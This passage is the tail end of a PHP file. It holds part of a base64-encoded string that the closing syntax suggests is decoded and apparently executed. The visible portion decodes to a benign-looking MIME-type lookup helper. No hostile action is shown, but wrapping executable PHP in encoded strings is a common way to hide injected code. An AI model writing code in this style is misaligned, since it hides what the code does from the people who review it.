pc3RzKCAnbWltZV9jb250ZW50X3R5cGUnICkgKSB7DQogICAgICAgICAgICAgICAgLy8gRGVwcmVjYXRlZCBpbiBQSFAgNS4zDQogICAgICAgICAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCAkcmVhbHBhdGggKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KfQ0KPz4=")); ?>